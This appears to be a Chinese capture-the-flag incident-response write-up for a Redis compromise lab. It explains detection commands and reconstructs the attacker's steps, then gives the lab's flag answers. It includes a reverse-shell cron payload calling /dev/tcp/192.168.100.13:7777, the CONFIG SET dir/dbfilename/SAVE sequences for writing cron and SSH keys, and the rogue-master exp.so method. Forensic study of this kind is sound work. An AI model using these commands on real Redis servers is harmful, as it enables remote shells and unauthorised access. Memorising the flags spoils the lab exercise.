玄机靶场练习-redis应急响应

前置知识点

1.redis日志: /var/log/redis.log

检查攻击痕迹

# 搜索高危命令（主从复制、写文件、计划任务、公钥写入）
grep -E "SLAVEOF|CONFIG|SAVE|BGSAVE|eval|crontab|ssh-rsa" /var/log/redis.log

# 检查异常IP连接（关注频繁访问的IP）
grep "Accepted" /var/log/redis.log | awk '{print $9}' | sort | uniq -c

• 关键特征：
  • SLAVEOF <IP> 6379：主从复制攻击，将本机设为恶意主节点的从库。
  • CONFIG SET dir /var/spool/cron 或 CONFIG SET dir /root/.ssh：修改持久化路径到敏感目录。
  • SAVE/BGSAVE：触发保存恶意文件（如公钥或计划任务）。

2.redis主从复制getshell

攻击原理

攻击者通过SLAVEOF命令将你的Redis设为从库，同步恶意模块（如.so文件）实现代码执行。

排查步骤

# 检查Redis日志中是否存在SLAVEOF命令
grep "SLAVEOF" /var/log/redis.log

# 检查Redis当前主从状态
redis-cli info replication

# 检查是否有未知模块加载
redis-cli module list

3.redis利用计划任务反弹shell

攻击原理

攻击者通过Redis写入定时任务（如/var/spool/cron/root），定时执行反弹Shell命令。

排查步骤

# 检查Redis是否修改持久化路径到计划任务目录
grep "CONFIG SET dir /var/spool/cron" /var/log/redis.log

# 检查系统计划任务文件
cat /var/spool/cron/root
cat /etc/crontab

# 查找可疑的定时任务
grep -r "bash -i >& /dev/tcp/" /var/spool/cron/

4.redis写公钥

攻击原理

攻击者将公钥写入/root/.ssh/authorized_keys，实现免密登录。

排查步骤

# 检查Redis日志中是否修改路径到.ssh目录
grep "CONFIG SET dir /root/.ssh" /var/log/redis.log

# 检查authorized_keys文件
ls -l /root/.ssh/authorized_keys
cat /root/.ssh/authorized_keys  # 查看是否有陌生公钥

# 确认公钥写入时间
stat /root/.ssh/authorized_keys

题目来源：第二章日志分析-redis应急响应 来自 <https://xj.edisec.net/challenges/22>

服务器场景操作系统 Linux
服务器账号密码 root xjredis

题目描述：

1，通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;

flag{192.168.100.20}

2，通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;

flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}

3，通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;

flag{192.168.100.13}

4，通过本地 PC SSH到服务器并且溯源分析黑客的用户名，并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交

flag{xj-test-user}

5，通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;

flag{c195i2923381905517d818e313792d196}

解题过程：

1，查看redis服务器日志记录信息

ls /var/log

cat /var/log/redis.log

从MASTER <-> REPLICA sync started 能看出来redis是进行了主从复制操作的，极有可能攻击者是利用redis主从复制getshell

攻击链还原

1. 恶意主从复制请求：
   • 攻击者（IP 192.168.200.2）多次发送REPLICAOF命令，将你的Redis实例设为恶意主库（IP 192.168.31.55:8888 和 192.168.100.20:8888）的从库。
   • Redis尝试与恶意主库同步数据，但初始同步失败（Connection refused），最终在05:34:35成功建立连接。
2. 恶意模块加载：
   • 同步过程中，攻击者通过主从复制机制注入恶意动态库文件exp.so，并加载模块system：
     plaintext
     复制
     419:S 31 Jul 2023 05:34:37.205 * Module 'system' loaded from ./exp.so
   • 该模块通常用于执行系统命令（如反弹Shell、写入后门等）。
3. 持久化攻击痕迹：
   • 攻击者可能已通过system模块在服务器上执行恶意操作，例如：
     • 写入SSH公钥（/root/.ssh/authorized_keys）。
     • 创建定时任务（/var/spool/cron/root）。
     • 部署Webshell或其他后门程序。

说明攻击者连接成功的IP是192.168.100.20

2，查找黑客执行过的恶意脚本文件，通过第一阶段的日志分析和对redis主从复制攻击的了解，攻击者会利用漏洞执行一个.so实现攻击

cat /var/log/redis.log |grep ".so"

find / -name "exp.so"

提取flag

3，题目提到了反弹shell，在redis未授权漏洞利用里面一般是通过写入计划任务来实现攻击。redis写计划任务反弹shell攻击的溯源关键还是要查看linux设置的计划任务，由此确定反弹shell的IP

推测还原攻击命令：

set xxx "\n\n*/1 * * * *  /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1\n\n"

config set dir /var/spool/cron/
config set dbfilename root
save

4，存在redis写公钥攻击， 因此.ssh目录中会存在authorized_keys，而这个文件正是攻击者在攻击机上（如kali-linux）生成的密钥，由此在最后的字段确定攻击者的用户名。先检查.ssh目录

搜索这个用户名，然后在github仓库找到用户名

https://github.com/xj-test-user/redis-rogue-getshell/commit/76b1b74b92f9cc6ef2a62985debdf09dcc056636

flag{xj-test-user-wow-you-find-flag}

攻击过程还原：

攻击机生成RSA密钥

攻击机建立redis客户端执行写入公钥命令

 CONFIG SET dir /root/.ssh/

 CONFIG SET dbfilename "authorized_keys"

 SAVE

5，找出黑客篡改的命令，有很多也是要一个一个进行排查；

审查系统日志：

查看系统的认证日志（如/var/log/auth.log或/var/log/secure），寻找异常的登录记录，特别是来自非授权用户或IP的登录尝试。

审查命令历史：

使用history命令查看最近执行的命令列表，检查是否有不正常的或未经授权的命令执行记录。

检查文件完整性：

使用工具如Tripwire、AIDE等检查关键系统文件的完整性和一致性，寻找是否有被篡改的文件或目录。

分析系统文件的时间戳和哈希值：

检查系统文件的修改时间戳和哈希值是否与预期的一致。异常的时间戳或哈希值可能表明文件已被篡改。

检查系统路径中的命令：

检查系统中的关键命令（如/bin、/sbin、/usr/bin等目录下的命令），确保其内容和哈希值与预期一致。

扫描系统和进程：

使用安全扫描工具（如rkhunter、chkrootkit等）扫描系统和进程，寻找已知的后门、木马或恶意程序。

分析网络流量和连接：

使用网络监控工具（如tcpdump、Wireshark等）分析服务器的网络流量和连接，查看是否有与恶意活动相关的异常流量或连接。

检查定时任务和启动项：

检查定时任务（通过crontab -l查看）和启动项（如/etc/init.d、/etc/systemd/system等），查找是否有恶意脚本或命令。

审查日志文件：

检查应用程序的日志文件，特别是涉及到系统命令执行或管理员操作的日志，查找异常活动或错误信息。

使用安全工具和服务：

借助安全信息与事件管理系统（SIEM）或安全运营中心（SOC）等工具，进行全面的安全事件分析和响应。

文件列表中可以看到，ps命令的权限为-rwxrwxrwx，这表示该命令具有读取、写入和执行权限，且对所有用户都是可读写可执行的。

异常的权限设置：

正常情况下，系统命令像ps应该有限制的权限，通常为-rwxr-xr-x（所有者可读写执行，组和其他用户只可读和执行）。权限为-rwxrwxrwx可能表明被人为更改过。

cat /usr/bin/ps

1. 环境变量篡改
   IFS='\$n'语句将内部字段分隔符修改为三个特殊字符（\、$、n），导致后续循环解析异常。这种手法常用于干扰安全分析工具对进程列表的解析。
2. 进程信息窃取
   ps_ $1 $2 $3命令存在以下可疑点：
   • 系统原生不存在ps_命令，实际应为伪装成ps命令的恶意程序
   • 通过参数1/1/2/$3接收外部指令（可能用于指定进程过滤条件）
   • 管道操作grep -v 'threadd'刻意过滤包含"threadd"的进程，可能用于隐藏恶意线程
3. 反检测机制
   • 使用拼写错误的ps_绕过基于命令名的监控
   • 非常规IFS设置导致输出格式混乱，干扰自动化分析
   • 过滤系统关键进程名（如threadd）降低被管理员发现的概率
4. 信息外传风险
   虽然脚本中直接执行echo输出，但在实际攻击中可能通过以下方式升级：
   • 将ps_替换为联网恶意程序（如反向Shell）
   • 在循环体内追加进程注入或数据回传代码